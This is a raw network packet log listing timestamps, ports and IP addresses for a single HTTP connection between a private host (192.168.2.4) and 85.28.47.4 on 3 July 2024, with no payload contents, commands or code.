Jul 3, 2024 23:59:06.800853014 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.800860882 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.800879002 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.800892115 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.800961018 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.800971985 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.800981045 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.800990105 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.800998926 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.801012039 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.801023960 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.801034927 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.801193953 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.801203012 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.801212072 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.801220894 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.801230907 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.801239967 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.801242113 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.801250935 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.801259995 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.801263094 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.801270008 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.801275969 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.801280022 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.801290035 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.801294088 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.801311016 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.801322937 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.801527977 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.801573992 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.801578045 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.801589012 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.801599026 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.801608086 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.801618099 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.801619053 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.801636934 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.801659107 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.801847935 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.801863909 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.801873922 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.801882982 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.801892042 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.801897049 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.801902056 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.801911116 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.801912069 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.801923037 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.801932096 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.801935911 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.801954985 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.801973104 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.802139997 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.802186012 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.802345991 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.802359104 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.802366972 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.802376032 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.802385092 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.802392960 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.802393913 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.802406073 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.802417040 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.802422047 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.802426100 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.802429914 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.802437067 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.802447081 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.802448988 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.802460909 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.802469015 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.802473068 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.802483082 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.802489042 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.802493095 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.802505016 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.802511930 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.802525997 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.802544117 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.803035975 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.803046942 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.803071976 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.803081036 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.803085089 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.803092003 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.803095102 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.803103924 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.803112984 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.803116083 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.803122997 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.803133011 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.803138018 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.803142071 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.803153038 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.803154945 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.803162098 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.803173065 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.803179979 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.803183079 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.803193092 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.803198099 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.803203106 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.803206921 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.803214073 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.803222895 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.803231955 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.803236961 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.803253889 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.803261995 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.803287029 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.803828001 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.803838968 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.803847075 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.803854942 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.803864002 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.803872108 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.803874969 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.803885937 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.803894997 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.803894997 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.803904057 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.803905964 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.803916931 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.803925991 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.803927898 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.803939104 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.803947926 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.803955078 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.803961039 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.803963900 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.803987026 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.804006100 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.804300070 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.804316044 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.804325104 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.804333925 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.804342985 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.804352045 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.804356098 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.804367065 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.804375887 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.804392099 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.804403067 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.894179106 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.894201994 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.894216061 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.894277096 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.894306898 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.894319057 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.894330978 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.894340992 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.894352913 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.894362926 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.894366026 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.894392967 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.894407988 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.894519091 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.894531012 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.894541025 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.894551992 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.894562960 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.894567013 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.894592047 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.894608974 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.894743919 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.894756079 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.894766092 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.894776106 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.894787073 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.894793987 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.894818068 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.894830942 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.894887924 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.894900084 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.894910097 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.894934893 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.894957066 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.895034075 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.895045042 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.895055056 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.895065069 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.895081043 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.895082951 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.895092964 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.895103931 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.895107985 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.895116091 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.895123005 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.895127058 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.895152092 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.895178080 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.895452023 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.895467997 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.895478010 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.895488024 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.895498037 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.895505905 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.895510912 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.895530939 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.895545006 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.895665884 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.895678043 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.895688057 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.895699024 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.895714045 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.895725965 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.895807981 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.895818949 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.895828962 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.895839930 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.895849943 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.895853996 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.895864010 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.895893097 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.895900965 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.895905972 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.895916939 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.895927906 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.895935059 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.895940065 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.895951986 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.895956993 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.895982027 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.895993948 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.896385908 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.896398067 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.896406889 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.896418095 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.896428108 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.896435976 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.896440029 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.896451950 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.896462917 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.896462917 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.896475077 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.896485090 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.896491051 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.896502972 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.896507025 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.896507978 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.896521091 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.896531105 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.896555901 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.896936893 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.896954060 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.896965027 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.896970034 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.896979094 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.896985054 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.896996975 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.897007942 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.897008896 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.897020102 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.897031069 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.897033930 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.897042990 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.897047043 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.897053957 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.897063971 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.897068977 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.897073984 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.897078991 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.897083044 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.897087097 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.897094011 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.897099972 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.897110939 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.897119045 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.897121906 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.897135973 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.897145033 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.897149086 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.897159100 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.897185087 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.897782087 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.897794008 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.897804022 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.897814989 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.897830963 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.897833109 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.897845984 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.897871017 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.897934914 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.897945881 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.897955894 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.897967100 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.897980928 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.897984982 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.897994041 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.897998095 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.898009062 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.898017883 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.898021936 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.898030043 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.898040056 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.898047924 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.898050070 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.898057938 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.898062944 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.898075104 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.898085117 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.898091078 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.898097038 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.898107052 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.898113966 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.898118019 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.898127079 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.898132086 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.898150921 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.898168087 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.898669004 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.898715019 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.989821911 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.989988089 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.990001917 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.990010977 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.990020990 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.990030050 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.990048885 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.990077019 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.990091085 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.990102053 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.990109921 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.990118980 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.990128040 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.990137100 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.990142107 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.990151882 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.990174055 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.990366936 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.990376949 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.990385056 CEST	80	49730	85.28.47.4	192.168.2.4
